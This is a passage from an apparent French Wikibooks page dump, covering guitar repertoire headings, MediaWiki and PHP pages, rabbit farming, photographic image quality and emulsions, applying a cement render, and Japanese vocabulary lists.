guitare]]==== ====[[Duo violon et guitare]]==== ====[[Duo guitare et un autre instrument]]==== ====[[La guitare au sein d'une petite formation de chambre]]==== =====[[Guitare et quatuor à cordes]]===== =====[[Formations diverses]]===== ==[[La guitare comme soliste avec orchestre]]== ====Les principaux concertos==== ====Usage d'un Amplificateur==== ====Technique==== ==La guitare comme instrument d'orchestre== ====[[Répertoire]]==== ==[[Concours internationaux]]== Enseignement de l'espéranto 4964 18834 2005-08-08T10:29:55Z Greudin 1 Enseignement de l'espéranto déplacé vers Espéranto: cf. bistro #redirect [[Espéranto]] MediaWiki 4965 41608 2006-05-05T07:49:40Z 212.74.183.85 /* Pour le webmestre */ [[Image:MediaWiki logo.png|right|180px|Logo de MediaWiki]] '''MediaWiki''' est un logiciel [[wiki]] écrit en [[PHP]]. Il constitue les rouages de l'encyclopédie [[w:Wikipédia|Wikipédia]], des autres projets Wikimédia comme [[Wikilivres]]. MediaWiki sert plus d'une [[m:Hundred millionth user|centaine de millions de visiteurs]] et est le moteur de Wiki pour plus d'une [[m:Sites using MediaWiki|centaine de site sur la toile]], allant du thème de l'anarchie jusqu'aux [[m:Sites_using_MediaWiki#Private_company_wiki_installations|système d'information de sociétés]]. Ce livre a pour ambition de fournir un manuel d'installation pour le webmestre et un point de départ pour devenir bidouilleur. L'utilisateur peut se reporter sur l'[[w:Aide:Aide|aide de l'encyclopédie]]. [[Image:Wikimedia-servers-2005-04-12.png|thumb|center|600px|MediaWiki peut être employé dans de large réseau d'entreprise ou des fermes]] ==Versions== *1.5.6 est au 19 janvier 2006 la dernière version stable *1.6alpha est la version actuelle de tous les projets Wikimedia. ==Voir aussi== ===Pour l'utilisateur final=== *[[m:Aide:Manuel de MediaWiki|Manuel de MediaWiki]] : le manuel utilisateur sur méta, en cours de réalisation *[[w:Aide:Aide]] : l'aide de l'encyclopédie *[[w:Aide:Premiers pas]] : tutoriel sur l'encyclopédie ===Pour le webmester=== *[[m:MediaWiki]] *[http://www.mediawiki.org/wiki/MediaWiki/fr Site du projet] *[http://mail.wikipedia.org/mailman/listinfo/wikitech-l Archive web de la liste de diffusion technique] **[news://news.gmane.org/gmane.science.linguistics.wikipedia.technical La même liste sur Usenet] PHP 4966 18839 2005-08-08T12:20:41Z Greudin 1 Voici la liste des ouvrages concernant [[w:PHP hypertext preprocessor|]] : Voici la liste des ouvrages concernant [[w:PHP hypertext preprocessor|PHP hypertext preprocessor]] : *[[Programmation PHP]] [[catégorie:PHP]] Wikilivres:Le Bistro/En-tête 4967 29023 2006-01-16T12:30:38Z Greudin 1 s/photo {| class="WSerieV" id="WBistro" cellpadding="0" cellspacing="0" style="padding: 0.3em; float:right; margin-left: 1em; border: 1px solid #999; border-right-width: 2px; border-bottom-width: 2px; background:#fff0ff; text-align:center" <!-- Pour changer l'image merci de garder la taille 210px --> |[[Image:Nm toronto university of toronto library.jpg|210px|Bibliothèque de l'université de Toronto]] <!--[[Image:Bibliothek kalocsa.jpg|210px|Bibliothèque de Kalocsa (Hongrie)]]--> |- |style="padding: 0.5em; font-family: sans-serif"| <big>'''[{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|action=edit&section=new}} Ajouter un message]'''</big> <br/><small>Si votre message n'apparaît pas, [{{SERVER}}{{localurl:Wikilivres:Le Bistro|action=purge}} rafraîchissez la page]</small> |- |style="padding: 0.3em; font-family: sans-serif; background-color: #e4e4c9; border: 1px solid #c0c0c0"| '''Contribuer''' |- |style="padding: 0.3em; line-height: 1.5em"| [[w:Aide:Utilitaires|Liens utiles]] <br /> ► [[w:Aide:Comment démarrer une page|Créer une nouvelle page]] <br /> <p style="line-height: 1.2em; margin: 0">[[w:Wikipédia:ne mordez pas les nouveaux|Accueillir les nouveaux]]</p> <br /> |- |style="padding: 0.3em; font-family: sans-serif; background-color: #e4e4c9; border: 1px solid #c0c0c0"|'''Maintenance''' |- |style="padding: 0.3em; line-height: 1.5em"| [[Wikilivres:Le Bistro/Archives|Les archives du Bistro]]<br /> [[Wikilivres:Pages à supprimer|Pages à supprimer]]<br /> [irc://irc.freenode.net/wikibooks-fr #wikibooks-fr]<br /> |- |style="padding: 0.3em; font-family: sans-serif; background-color: #e4e4c9; border: 1px solid #c0c0c0"|'''Communauté''' |- |style="padding: 0.3em; line-height: 1.5em"| [[Wikilivres:Modèles|Modèles]] <br /> [[w:Aide:syntaxe wikipédia|Syntaxe de MediaWiki]] <br /> [[w:Wikipédia:Conventions typographiques|Conventions typographiques]] <br /> |- |style="padding: 0.3em; font-family: sans-serif; background-color: #e4e4c9; border: 1px solid #c0c0c0"|'''Foundation-autres projets''' |- |style="padding: 0.3em; line-height: 1.5em"| [[w:Accueil|Wikipédia]] <br /> [[m:Accueil|Meta]] <br /> [[Commons:Accueil|Commons]] <br /> [[n:Accueil|Wikinews]] <br /> [[q:Accueil|Wikiquote]] <br /> [[wikisource:Main Page|Wikisource]] <br /> [[wikt:Page_d'accueil|Wiktionnaire]] <br /> |- |style="padding: 0.3em; font-family: sans-serif; background-color: #e4e4c9; border: 1px solid #c0c0c0"|'''Autres bistrots francophones''' |- |style="padding: 0.3em; line-height: 1.5em"| [[w:Wikipédia:Le Bistro|Wikipédia:Le Bistro]] <br /> [[commons:Commons:Bistro|Commons:Bistro]] <br /> [[q:Wikiquote:Le Bistro|Wikiquote:Le Bistro]] <br /> [[n:Wikinews:Salle café|Wikinews:Salle café]] <br /> [[wikt:Wiktionnaire:Wikidémie|Wiktionnaire:Wikidémie]] <br /> [[wikisource:Wikisource:Scriptorium|Wikisource:Scriptorium]] <br /> |- |<small>[http://fr.wikibooks.org/w/index.php?title=Wikilivres:Le_Bistro/En-t%C3%AAte&action=edit Modifier ce cadre]</small> |} Wikilivres:Le Bistro/Archives 4969 34599 2006-02-24T22:36:04Z Epommate 705 Les '''archives du bistro''' recensent les anciennes discussions. ... *[[Wikilivres:Le Bistro|Retour au bistro]] Cuniliculture 4970 18999 2005-08-12T21:06:06Z Kingmike 392 Cet ouvrage traite de l'élevage de lapins (lapin domestique). Il est à la base une simple traduction de la page http://sleekfreak.ath.cx:81/3wdev/VITAHTML/SUBLEV/EN1/RABBITS.HTM, dont aucune traduction française complète et correcte n'a encore été proposée sur internet. ==Introduction== L'élevage de lapins est très répandu en Europe et en Amérique du Nord. En Angleterre, plus d'un million de foyers élèvent des lapins, tandis que les américains consomment environ 60000 tonnes de viande de lapin par an. Un certain nombre de raisons accroissent l'importance de l'élevage de lapins dans le monde : * Un élevage peut produire une grande quantité de viande excellente, dont le goût se rapproche du poulet, avec une consistance plus ferme. La viande de lapin constitue un bon apport de protéines, avec peu de calories et de graisse, ce qui la rend de plus bonne à la santé. * Les lapins se multiplient rapidement : Il est possible d'élever seulement deux femelles et un mâle, et ainsi produire plus de cinquante lapins par an. Avec un petit élevage et un entretien minimum, on peut donc produire de la viande pour combler les besoins d'une famille. D'autre part, un élevage de cinquante à cent-cinquante femelles peut fournir une activité professionnelle rentable. * Les lapins sont adaptés à un élevage domestique, même en ville : un clapier est peu volumineux, et les lapins sont propres, calmes et nécessitent peu d'entretien. * On peut même utiliser leur peau, dans divers accessoires, chapeaux... De plus, les jardiniers et les fermiers utilisent souvent le fumier de lapin comme fertilisant pour leurs terres, en raison de la grande proportion d'azote et de phosphore qu'il contient, ainsi que de son faible coût. Contrairement au fumier des poules, le fumier de lapin peut être directement mélangé à la terre pour favoriser les récoltes. Cet ouvrage vous donne quelques règles simples pour réussir votre élevage : * Un bon clapier * Des lapins en bonne santé * Les soins à apporter aux lapins Photographie - 14 - Généralités 4976 45566 2006-06-24T12:10:30Z Jean-Jacques MILAN 114 /* L'étendue de la zone de netteté */ {{Photographie}} {{Photo_14}} Quoi que l'on fasse, l'image photographique d'un objet n'est jamais parfaitement nette, même si l'œil, éventuellement assisté d'un instrument, la perçoit comme telle. Il n'existe en effet aucun objectif parfait, aucun film parfait, aucun papier photographique parfait, aucun écran d'ordinateur parfait, etc. En d'autres termes, l'image d'une source quasi ponctuelle (une étoile lointaine en constitue un excellent modèle) n'est jamais un point, mais toujours une tache d'étendue variable et dont la structure peut être fort complexe. Que le procédé mis en œuvre soit argentique, numérique ou mixte, peu importe, chacune des opérations qui permettent d'obtenir l'image finale modifie les informations provenant du sujet, parfois pour en améliorer le rendu mais hélas, le plus souvent, pour les dégrader de façon plus ou moins importante. Si le souci de tout photographe doit être avant tout d'obtenir le meilleur enregistrement d'informations possible au moment de la prise de vue, puis d'assurer au mieux les transformations conduisant à l'image finale, une réflexion sur des problèmes plus généraux n'est sûrement pas inutile. En effet, certains des facteurs qui jouent un rôle dans l'obtention d'images de qualité sont clairement identifiés mais beaucoup d'autres restent souvent ignorés ; de plus, beaucoup d'idées fausses circulent et perdurent, entretenues par la mauvaise littérature de vulgarisation ou par les photographes eux-mêmes. == La structure fine des images == L'observation d'un sujet à photographier fait apparaître des contours nets, où les transitions sont brutales, et des plages dont les couleurs et les luminances sont uniformes ou ne varient que de manière progressive. L'information en provenance de ces dernières possède tous les caractères du continu. En revanche, toutes les images photographiques présentent une « structure fine » plus ou moins discontinue qui se superpose à l'information utile et la dégrade. En s'approchant suffisamment de l'image et au besoin en la grossissant, cette structure apparaît dans tous les cas, quel que soit le procédé et quoi que l'on fasse. Elle peut être pseudo-périodique ou aléatoire (le grain d'une pellicule, le bruit d'un capteur, le scintillement d'un écran perlé ...) ou encore périodique (les pixels d'une image informatique, les trames d'impression, la trame d'un écran informatique ...). Lorsque les structures fines passent inaperçues lors de l'examen de l'image finale dans des conditions « habituelles », l'image des zones de transition brutale paraît nette et celle des zones uniformes ou présentant des variations de valeurs progressives donne l'illusion de la continuité. On peut alors considérer qu'elles n'ont pas une grande importance mais il existe tout de même quelques pièges. Par exemple, en photographiant un écran d'ordinateur avec un appareil numérique ou en scannant sans précautions un document photographique imprimé, on a toutes les chances d'obtenir des effets de moiré particulièrement désagréables. De temps en temps, ces effets apparaissent d'ailleurs aussi sur les tirages industriels. == La notion de qualité globale d'une image == Lorsque l'œil évalue la qualité globale d'une image, il tient compte de façon synthétique d'un ensemble de propriétés physiques : la reproduction des valeurs, la reproduction des détails et la netteté (ces deux notions ne doivent pas être confondues), enfin la granulation. Sur ce strict plan technique, l'expérience montre que les observateurs établissent davantage leurs jugements sur des impressions personnelles que sur un raisonnement et des critères rationnels. Dans la mesure où la qualité de l'image influe directement sur la perception des informations qu'elle contient, on a cherché à définir des critères permettant une évaluation objective. Il faut naturellement que cette évaluation rejoigne, dans des conditions données et statistiquement, les conclusions de l'évaluation subjective. == La reconnaissance des formes == La détection de détails dans l'image ne suffit pas, encore faut-il que l'observateur puisse faire le tri entre les éléments qui contiennent une information utile et ceux dont la présence est sans intérêt. Diverses études ont montré que la reconnaissance de formes à peine visibles était liée à la perception des frontières entre des plages contiguës. == L'étendue de la zone de netteté == Les problèmes de la prise de vue seraient bien moindres si tous les sujets étaient plans et perpendiculaires à l'axe optique. En pratique, c'est rarement le cas et l'image de tout ce qui ne se trouve pas dans le plan de mise au point ne peut être que plus ou moins floue. Comme nous le verrons, ce sont les défauts de l'œil qui nous permettent d'accepter comme nets des détails qui ne le sont pas, ce qui permet de définir la notion de '''profondeur de champ'''. Wikiversité:Faculté de mécanique 4977 25412 2005-11-12T13:31:05Z Marc 66 restitution de la dernière modification de Jeffou 60 =Faculté de mécanique= Il n'y a a pas encore de coordinateur officiel pour cette page, il y a cependant au moins deux articles parlant de mécanique. [[Tribologie]] [[Méthode des éléments finis]] Faire un enduit lissé traditionnel 4978 45720 2006-06-25T19:42:27Z Guillaumito 46 restitution de la dernière modification de 82.232.180.100 ===Définition=== Un [[enduit]] est une mince couche de [[mortier]], de [[plâtre]]... que l'on étale sur une cloison ou un mur pour lui donner belle apparence, le protéger contre les infiltrations d'eau... ===Domaine d'application=== Ici nous allons traiter seulement de l'enduit traditionnel au ciment, projeté sur : * un mur intérieur ou extérieur, * l'intérieur d'une citerne, * un sous bassement enterré Cet enduit lissé à la [[taloche]] pourra être crépi ou peint. ===Préparation du support=== Le mur doit être sain, débarrassé de trace d'enduit ancien mal accroché et dépoussièré. Si la surface est trop lisse ([[linteaux]] en béton armé...), on devra la rendre rugueuse à l'aide d'un [[marteau]] pointu. L'enduit n'adhère pas sur la peinture ni sur une protection hydrofuge au [[silicone]]. Si nécessaire on peut faciliter l'accrochage de la couche d'enduit en fixant sur le support un treillis métallique à mailles serrées. Ce genre de [[grillage]] peut être nécessaire si la couche d'enduit dépasse 2 [[cm|centimètres]]. C'est le cas d'un mur dont l'aplomb est défectueux. ===Pose des règles=== L'épaisseur optimum d'un enduit est de l'ordre de 1 [[cm]] et sa surface devra être parfaitement plane et verticale. En outre les angles saillants devront être protégés par des renforts en [[acier]] ou en [[PVC]]. Ces renforts sont fixés solidement sur le mur par des clous à béton voire par des chevilles. Si la distance entre deux angles saillants est supérieure à 2 [[mètre|mètres]] on fixera verticalement avec des clous à [[béton]] ou des [[chevillette|chevillettes]] des règles provisoires d'épaisseur égale à celle de l'enduit fini. Ces règles peuvent être réalisées dans des [[lattes]] de bois bien droites, si possible rabotées et sans noeud. Après [[taloche|talochage]] sommaire de l'enduit, les règles intermédiaires seront enlevées et la place qu'elles occupaient sera comblée avec du mortier.<BR> Toutes les fenêtres, portes, poutres et autres objets risquant d'être salis par les projections de mortier seront protégés soigneusement à l'aide d'un écran en [[polyéthylène]]. Poser une planche au pied du mur pour pouvoir ramasser le mortier tombé. ===Outillage nécessaire=== Une [[bétonnière]] n'est pas nécessaire car la quantité de mortier est généralement faible (10 litre/m²). On aura besoin au minimum de : * [[marteau de coffreur]] pour fixer les règles * [[scie à métaux]] pour couper les renforts et les règles * [[niveau à bulle]] ou [[fil à plomb]] * règle en [[aluminium|alu]] pour tirer l'enduit * grande [[taloche]] * grande [[truelle]] triangulaire à bout arrondi * '''[[lunettes]] de [[sécurité]]''' * morceaux de [[polystyrène]] expansé ou taloche en mousse pour le lissage fin. ===Matériaux nécessaire=== On peut se procurer du mélange sec tout pret. Cette solution convient bien pour les petites surfaces mais est peu économique pour les chantiers plus importants. Une solution traditionnelle emploie : * [[sable]] de rivière 0-3 [[mm]] * [[ciment]] [[CPJ]] * [[chaux]] La chaux rend le mortier plus collant et accèlère la prise, le ciment fait l'enduit plus dur. Un sable plus gros (0-5) ne facilite pas le lissage. Le ciment et surtout la chaux sont des '''[[produits corrosifs]]''' pour la peau et dangereux pour les yeux. ===Préparation du mortier=== Mélanger : * 2 seaux de sable * 1 seau de ciment * 1 seau de chaux puis ajouter l'eau nécessaire de façon à obtenir : * une pâte très liquide pour le [[gobetis]], de la consistance d'une soupe * une pâte onctueuse et [[plastique]] pour la ou les couches suivantes. ===Procédure=== Eviter d'enduire : * sur un mur ensoleillé * par grand vent et temps sec * sous la pluie * si la température risque de descendre en dessous de 5 [[°C]]. Projeter le mortier sur un mur n'est pas très difficile mais il faut acquérir le ''coup de patte'', surtout dans les positions délicates. On peut débuter en appliquant la méthode suivante : * tenir la taloche d'une main, à l'horizontale * déposer une ou deux ''truellée'' de mortier sur la taloche * prélever un petit boudin de mortier à l'aide du bord avant de la truelle (celui qui est du côté du mur) * d'un mouvement souple du poignet et du bras incliner la truelle vers l'avant tout en augmentant sa vitesse. Le mortier ne doit pas glisser pendant l'accélération. * à une vingtaine de cm du mur lancer le mortier d'un coup de poignet sec en remontant la truelle. ====Par temps très sec==== Arroser le mur s'il est chaud et sec puis attendre un peu qu'il soit réssuyé. ====Gobetis==== Le but est de salir le mur avec un mortier très liquide pour faciliter l'accrochage de l'enduit. On laissera ''tirer'' cette couche d'accrochage pendant plusieurs heures au minimum. Nettoyer la face de référence des règles. ====Première couche==== Chaque couche projetée aura au maximum 1 [[cm]] d'épaisseur. Il faudra donc procéder en plusieurs fois pour les couches épaisses en laissant tirer chaque couche successive pendant au minimum deux ou trois jours. Passer la règle alu sur les règles de référence pour enlever le surplus en laissant quelques [[mm|millimètres]] pour la couche de finition. Talocher régulièrement pour serrer le mortier et aplanir la surface. ====Couche de finition==== La couche de finition doit être appliquée sur la dernière couche encore fraîche mais ayant tiré un peu. On peut utiliser un mortier plus ou moins liquide, un peu plus riche en ciment ou fabriqué avec du sable plus fin. Talocher sommairement avec la taloche dure, laisser sécher un peu et talocher légèrement avec un morceau de polystyrène à haute densité ou une taloche en mousse pour faire tomber les plus gros grains de sable. On obtient ainsi une surface très lisse. L'enduit acquiert sa dureté maximale au bout d'un mois mais il est déjà solide au bout d'une journée. [[catégorie:savoir-faire]] [[Catégorie:bricolage]] [[Catégorie:maçonnerie]] Wikilivres:FAQ 4980 18941 2005-08-11T11:43:16Z Greudin 1 Wikilivres:FAQ déplacé vers Wikilivres:Foire aux questions: sigle #redirect [[Wikilivres:Foire aux questions]] Japonais:Vocabulaire Noms 4982 20440 2005-09-02T12:25:36Z Duarna 465 +modèle [[en:Japanese:Vocabulary_Nouns]] Retour à la [[Table des matières (Japonais)|table des matières]]. Méthode de traduction: x=y=z=w avec "x" écriture en kanji, "y" écriture en hiragana, "z" écriture en romanji et "w" la traduction en français. ==く== <big>[[wiktionary:fr:車|車]]</big>=くるま=kuruma= une voiture. ==か== <big>[[wiktionary:fr:火山|火山]]</big>=かざ=kazan= un volcan. ==き== <big>[[wiktionary:fr:木|木]]</big>=き=ki= un arbre, du bois. ==は== <big>[[wiktionary:fr:林|林]]</big>=はやし=hayashi= un bouquet d'arbre, un bosquet. <big>[[wiktionary:fr:橋|橋]]</big>=はし=hashi= un pont. ==ほ== <big>[[wiktionary:fr:本|本]]</big>=ほん=hon= un livre. ==か== <big>[[wiktionary:fr:川|川]]</big>=かれ=kawa= une rivière. ==ひ== <big>[[wiktionary:fr:日|日]]</big>=ひ=hi= le soleil, un jour. <big>[[wiktionary:fr:火|火]]</big>=ひ=hi= le feu. ==て== <big>[[wiktionary:fr:天|天]]</big>=てん=ten= le ciel. ==で== <big>[[wiktionary:fr:電話|電話]]</big>=でんれ=denwa= un téléphone. ==た== <big>[[wiktionary:fr:田|田]]</big>=た=ta= une rizière, un champ. ==や== <big>[[wiktionary:fr:山|山]]</big>=やま=yama= une montagne. ==つ== <big>[[wiktionary:fr:土|土]]</big>=つち=tsuchi= le sol. ==み== <big>[[wiktionary:fr:水|水]]</big>=みず=mizu= l'eau. ==も== <big>[[wiktionary:fr:森|森]]</big>=もり=mori= une fôrèt. ==し== <big>[[wiktionary:fr:市|市]]</big>=し=shi= une ville. <big>[[wiktionary:fr:新聞|新聞]]</big>=しんぶん=shinbun= un journal quotidien. <big>[[wiktionary:fr:下|下]]</big>=した=shita= le dessous. ==う== <big>[[wiktionary:fr:上|上]]</big>=うえ=ue= le dessus, le haut. ==な== <big>[[wiktionary:fr:中|中]]</big>=なか=naka= le centre, le milieu, l'intérieur. ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Japonais:Vocabulaire Animaux 4983 24936 2005-11-04T20:44:23Z 84.102.74.51 transcription [[en:Japanese:Vocabulary_Animals]] Retour à la [[Table des matières (Japonais)|table des matières]]. Méthode de traduction: x=y=z=w avec "x" écriture en kanji, "y" écriture en hiragana, "z" écriture en romanji et "w" la traduction en français. ==お== <big>[[wiktionary:fr:狼|狼]]</big>=おおかみ=ookami= un loup. ==い== <big>[[wiktionary:fr:犬|犬]]</big>=いぬ=inu= un chien. <big>[[wiktionary:fr:海豚|海豚]]</big>=いるか=iruka= un dauphin. ==さ== <big>[[wiktionary:fr:魚|魚]]</big>=さかな=sakana= un poisson. <big>[[wiktionary:fr:猿|猿]]</big>=さる=saru= un singe. ==ね== <big>[[wiktionary:fr:猫|猫]]</big>=ねこ=neko= un chat. <big>[[wiktionary:fr:鼠|鼠]]</big>=ねずみ=nezumi= un rat. ==と== <big>[[wiktionary:fr:鳥|鳥]]</big>=とり=tori= un oiseau. <big>[[wiktionary:fr:虎|虎]]</big>=とら=tora= un tigre. ==や== <big>[[wiktionary:fr:山猫|山猫]]</big>=やまねこ=yamaneko= un lynx (chat des montagnes). ==ぞ== <big>[[wiktionary:fr:象|象]]</big>=ぞう=zō= un éléphant. ==う== <big>[[wiktionary:fr:馬|馬]]</big>=うま=uma= un cheval. <big>[[wiktionary:fr:兎|兎]]</big>=うさぎ=usagi= un lapin. <big>[[wiktionary:fr:牛|牛]]</big>=うし=ushi= une vache. ==き== <big>[[wiktionary:fr:麒麟|麒麟]]</big>=きりん=kirin= un girafe. <big>[[wiktionary:fr:狐|狐]]</big>=きつね=kitsune= un renard. ==へ== <big>[[wiktionary:fr:蛇|蛇]]</big>=へび=hebi= un serpent. ==か== <big>[[wiktionary:fr:亀|亀]]</big>=かめ=kame= une tortue. ==り== <big>[[wiktionary:fr:竜|竜]]</big>=りゅう=ryuu= un dragon. ==さ== <big>[[wiktionary:fr:鮫|鮫]]</big>=さめ=sa-mé= un requin. ==ひ== <big>[[wiktionary:fr:羊|羊]]</big>=ひつじ=hitsuji= un mouton. ==く== <big>[[wiktionary:fr:熊|熊]]</big>=くま=kuma= un ours. ==Voir aussi== *[[wiktionary:fr:Catégorie:Noms_communs_japonais|Les noms dans le wiktionnaire]] {{Glossaires_de_Japonais}} [[catégorie:Glossaires de Japonais]] Japonais:Vocabulaire Mots interrogatifs 4984 22576 2005-10-04T02:30:09Z 61.121.114.50 /* いくら */ Retour à la [[Table des matières (Japonais)|table des matières]]. Méthode de traduction: y=z=w avec , "y" écriture en hiragana, "z" écriture en romanji et "w" la traduction en français. Voir la leçons sur les mots interrogatifs: [[Japonais:Leçon5| leçon 5]] ==どこ== <big>[[wiktionary:fr:どこ|どこ]]</big>=doko= où ? Exemple:あなたれどこですか=Anata wa doko desu ka=Où es-tu? ==だれ== <big>[[wiktionary:fr:だれ|だれ]]</big>=dare= qui ? Exemple:だれですか=dare desu ka= Qui est-ce ? ==なに== <big>[[wiktionary:fr:なに|なに]]</big>=nani= quoi? Exemple:なにですか=nani desu ka= c'est quoi ? ==いつ== <big>[[wiktionary:fr:いつ|いつ]]</big>=itsu= quand? Exemple:いつですか=itsu desu ka= Quand c'est ? ==どう== <big>[[wiktionary:fr:どう|どう]]</big>=dö= comment? Exemple:どうですか=dö desu ka= comment c'est ? ==いくつ== <big>[[wiktionary:fr:いくつ|いくつ]]</big>=ikutsu= combien ? Exemple:いくついますか=ikutsu imasu ka= combien il y en a ? ==いくら== <big>[[wiktionary:fr:いくら|いくら]]</big>=ikura= combien (pour les prix)? Exemple:いくらですか=ikuru desu ka= combien c'est ? ==どうして - なぜ== <big>[[wiktionary:fr:どうして|どうして]]</big>=döshite= pourquoi ? Exemple:どうしてですか=döshite desu ka= pourquoi ? <big>[[wiktionary:fr:なぜ|なぜ]]</big>=naze= pourquoi (en plus formel)? Exemple:なぜですか=naze desu ka= pourquoi ? {{Glossaires_de_Japonais}} [[Catégorie:Glossaires_de_Japonais]] Photographie - 14 - Les émulsions et la reproduction des détails 4985 45562 2006-06-24T12:05:51Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_14}} == Grain, granulation, granularité == Lors du développement, les minuscules cristaux d'halogénures d'argent qui ont été exposés à la lumière émettent des filaments d'argent qui donnent à l'image négative une structure discontinue. Le '''grain''' observé sur les tirages n'est autre que l'image inversée des espaces par lesquels la lumière traverse le négatif en passant entre les filaments. Le manque d'homogénéité des images dans les zones qui devraient être traduites par des valeurs uniformes possède des aspects subjectifs et des aspects objectifs. La '''granulation''' caractérise les premiers et traduit, de façon forcément très imprécise, l'impression ressentie à l'examen de l'image depuis une distance donnée. En revanche, la '''granularité''' est définie à partir d'études statistiques quantitatives. Les relations entre la granulation et la granularité permettent de résoudre certains problèmes liés aux très forts grandissements ou à l'utilisation d'émulsions photographiques à des sensibilités extrêmes. Pour les images en noir et blanc, la granulation dépend directement du rapport d'agrandissement. Cette relation n'est pas aussi bien vérifiée pour les images en couleurs, car les colorants se forment autour des grains d'argent et sont beaucoup plus étalés que ces derniers, la granulation dépend d'ailleurs essentiellement de l'image magenta qui absorbe la lumière dans la zone spectrale de plus forte sensibilité de l'œil. == Pouvoir séparateur == Les définitions données lors de l'étude des objectifs s'appliquent également aux émulsions. La détermination de ces deux valeurs caractéristiques peut se faire à l'aide de mires à traits nets ou de mires sinusoïdales, il faut évidemment faire attention à ce que le système optique utilisé pour former l'image des mires soit de meilleure qualité que l'émulsion elle-même. Contrairement à celui des objectifs, dont on étudie autant que possible l'image aérienne, le pouvoir séparateur d'une émulsion est très difficile à déterminer à cause de la granulation qui perturbe énormément les images des traits les plus fins. == Fonction de transfert de modulation == La fonction de transfert de modulation d'un système comportant un objectif et une émulsion est égale au produit des deux fonctions de l'ob­jectif d'une part et de l'émulsion d'autre part. Connaissant deux des fonctions il est élémentaire d'en déduire la troisième. La FTM d'un objectif ne peut jamais dépasser 1 puisqu'il se produit toujours une diminution du contraste lors de la formation de l'image. Il n'en va pas de même avec les émulsions car beaucoup d'entre elles sont capables de fournir des contrastes plus élevés que ceux du sujet. Il en résulte que '''la fonction de transfert de modulation d'une émulsion peut dépasser largement l'unité'''. == Netteté d'une émulsion == Il s'agit là d'une notion très subjective, qui dépend fortement de facteurs tels que le rapport d'agrandissement d'une image et des effets de bords qui peuvent survenir dans la zone de transition entre deux plages de valeurs différentes. Le critère quantitatif qui caractérise l'appréciation qualitative est l'acutance. == Irradiation et halo == [[Image:Irradiation et halo.png|250px|right]] Les cristaux d'halogénure d'argent des couches photographiques ont un indice de réfraction plus important que la gélatine qui les enrobe et l'image latente qui se forme sous l'effet de la lumière est due à l'exposition directe, ou exposition externe, imposée à l'émulsion, mais aussi à une exposition interne due à la réflexion totale ou partielle de la lumière sur les faces des microcristaux. Il s'y ajoute l'effet de la lumière diffusée par les autres constituants comme les formateurs de couleurs et leurs solvants. Les microcristaux diffusent aussi la lumière qu'ils reçoivent dans toutes les directions et modifient ainsi sa propagation rectiligne selon les mécanismes décrits par Mie et par Rayleigh. Une faible exposition sous un petit trou (1) donne une image négative relativement précise mais de faible densité car la lumière n'atteint pas suffisamment l'émulsion en profondeur. Si l'on expose davantage, la profondeur atteinte est plus importante mais en même temps l''''irradiation lumineuse''' élargit la tache (2). En posant beaucoup plus, la tache atteint sa densité maximale au centre, car l'émulsion a été entièrement traversée, mais elle s'élargit davantage encore. Une partie de la lumière arrive jusqu'au support, s'y réfléchit et crée un '''halo''' autour de l'image du trou (3). [[Image:Fonction d'étalement de l'image.png|175px|right]] La '''fonction d'étalement de l'image''' permet de comprendre l'aspect de la tache obtenue, la courbe correspondante peut être tracée sur la base des mesures de microdensitométrie. Les dégradations de l'image sont de divers ordres : le maximum de densité de l'image est inférieur à ce qu'il devrait être, la tache est plus ou moins élargie selon la valeur de l'exposition reçue et accompagnée dun ou plusieurs halos, qu'il ne faut pas confondre avec ceux que provoque la diffraction de la lumière derrière un objectif. == Acutance == [[Image:Acutance.png|250px|right]] L''''acutance''' peut être définie comme l'aptitude d'une surface sensible à donner des bords nets. Il faut bien se garder de la confondre avec le pouvoir séparateur : en effet, on peut aussi bien trouver des émulsions de faible acutance et de bon pouvoir séparateur que l'inverse et ces deux grandeurs ne sont donc pas forcément liées. L'acutance peut être déterminée en posant un échantillon de la surface sensible à étudier sous un cache à bords nets, par exemple une lame aussi acérée que possible appliquée sur l'émulsion. On insole l'ensemble, on développe, ensuite on étudie l'étalement du contour dans la zone limite à l'aide d'un microdensitomètre. Naturellement, on n'obtient pas une « marche d'escalier », mais une zone de transition plus ou moins large entre les deux zones uniformes situées de part et d'autre. Une courbe abrupte (a) correspond à une bonne acutance, une pente moins raide (b) à une mauvaise acutance. [[Image:Direction de mesure de l'acutance.jpg|200px|right]] Deux plages juxtaposées dont les luminances sont légèrement différentes ne sont distinguées par l'œil que si deux cônes contigus de la rétine reçoivent une différence d'éclairement au moins égale à un certain seuil. Il existe donc forcément une relation entre l'acutance, la différence des densités extrêmes, la forme de la courbe de variation des densités et la distance sur laquelle la variation se produit. Jones et Higgins ont proposé de l'évaluer par la formule suivante : <math>A = \frac{\bar{G_d}}{x_A-x_B}</math> A est l'acutance, <math>\bar{G_d}</math> le gradient moyen de densité, A et B les points entre lesquels la variation de densité est mesurable. Il existe un niveau d'éclairement optimal de l'émulsion sous la lame qui donne la meilleure acutance possible, ce que confirme cette formule. L'acutance peut être améliorée par divers procédés : incorporation à la couche sensible des colorants absorbants qui limiteront l'étendue de l'irradiation, emploi de couches de faible épaisseur, exposition en lumière bleue, utilisation de révélateurs appropriés. [[Image:Réaction de deux émulsions à deux signaux rectangulaires.png|200px|right]] Les deux schémas ci-contre illustrent l'absence de corrélation systématique entre le pouvoir séparateur et l'acutance : En haut, le pouvoir séparateur est bon, mais l'acutance est mauvaise : la répartition des densités permet de bien distinguer les images de deux points ou de deux traits (ceux d'une mire, par exemple) mais ces images sont accompagnées de zones de transition plustôt larges. En bas, le pouvoir séparateur est mauvais, mais l'acutance est bonne : les images sont étalées et finissent par se rejoindre mais leurs bords sont abrupts, les fins détails ont disparu, l'image est celle d'un « paquet » ou d'un « bloc » qui sera perçu comme étant net. Cette situation était la règle avec les films « lith » soumis à un développement de type infectieux, encore appelé « développement par contagion », pendant lequel les zones développées passaient brutalement à la densité maximum au fur et à mesure que l'image s'étalait. == Définition == La '''définition''' est un critère subjectif caractérisant l'impression de qualité dans la reproduction des détails. Elle englobe non seulement la granulation, la netteté et le pouvoir séparateur mais aussi les caractéristiques du système optique qui a formé l'image. == Effets particuliers == {| cellpadding="5" |- |[[Image:Influence des dimensions sur les densités.png|200px|center]] |'''Influence de la dimension de l'image sur la densité''' : les traits très fins d'un négatif donnent sur le positif des densités plus faibles ou plus fortes que prévu et il en résulte des irrégularités 